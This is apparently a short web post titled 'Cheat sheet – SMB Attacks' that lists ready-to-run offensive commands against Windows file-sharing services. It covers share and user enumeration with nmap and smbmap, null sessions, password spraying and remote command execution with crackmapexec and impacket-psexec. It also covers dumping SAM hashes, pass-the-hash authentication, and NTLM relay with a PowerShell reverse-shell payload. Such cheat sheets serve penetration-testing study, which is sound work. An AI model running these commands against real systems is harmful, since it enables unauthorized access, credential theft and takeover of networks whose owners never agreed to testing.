Cheat sheet – SMB Attacks

by
Sharing is caring

Views: 26

Exploiting SMB

SMB Enumeration

  • Enumerate Hostname – nmblookup -A [ip]
  • List Shares
    • smbmap -H [ip/hostname]
    • echo exit | smbclient -L \\\\[ip]
    • nmap --script smb-enum-shares -p 139,445 [ip]
  • Check Null Sessions
    • smbmap -H [ip/hostname]
    • rpcclient -U "" -N [ip]
    • smbclient \\\\[ip]\\[share name]
  • Check for Vulnerabilities – nmap --script smb-vuln* -p 139,445 [ip]
  • Overall Scan – enum4linux -a [ip]
  • Manual Inspection
    • smbver.sh [IP] (port) [Samba]
    • check pcap

Nmap Enumeration

Nmap Enumeration
nmap --script=smb-enum* --script-args=unsafe=1 -T5 <host>

nmap --script "safe or smb-enum-*" -p 445 <host>

nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse <host>

nmap --script=smb2-capabilities,smb-print-text,smb2-security-mode.nse,smb-protocols,smb2-time.nse,smb-psexec,smb-security-mode,smb-server-stats,smb-double-pulsar-backdoor,smb-system-info,smb-enum-groups,smb-enum-processes,smb-enum-shares,smb-enum-users,smb-ls,smb-os-discovery --script-args=unsafe=1 -T5 <host>

# with credentials
nmap -sV -Pn -vv -p 445 --script-args smbuser=<benutzer>,smbpass=<passwort> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 <host>

# List all NSE Scripts
ls -l /usr/share/nmap/scripts/smb*
CommandDescription
smbclient -N -L //10.10.10.1Null-session testing against the SMB service.
smbmap -H 10.10.10.1Network share enumeration using smbmap.
smbmap -H 10.10.10.1 -r notesRecursive network share enumeration using smbmap.
smbmap -H 10.10.10.1 --download "notes\note.txt"Download a specific file from the shared folder.
smbmap -H 10.10.10.1 --upload test.txt "notes\test.txt"Upload a specific file to the shared folder.
rpcclient -U'%' 10.10.10.1Null-session with the rpcclient.
./enum4linux-ng.py 10.10.10.1 -A -CAutomated enumeratition of the SMB service using enum4linux-ng.
crackmapexec smb 10.10.10.1 -u /tmp/userlist.txt -p 'Company01!'Password spraying against different users from a list.
impacket-psexec administrator:'Password123!'@10.10.10.1Connect to the SMB service using the impacket-psexec.
crackmapexec smb 10.10.10.1 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexecExecute a command over the SMB service using crackmapexec.
crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password123!' --loggedon-usersEnumerating Logged-on users.
crackmapexec smb 10.10.10.1 -u administrator -p 'Password123!' --samExtract hashes from the SAM database.
crackmapexec smb 10.10.10.1 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FEUse the Pass-The-Hash technique to authenticate on the target host.
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.10.1Dump the SAM database using impacket-ntlmrelayx.
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.10.1 -c 'powershell -e <base64 reverse shell>Execute a PowerShell based reverse shell using impacket-ntlmrelayx.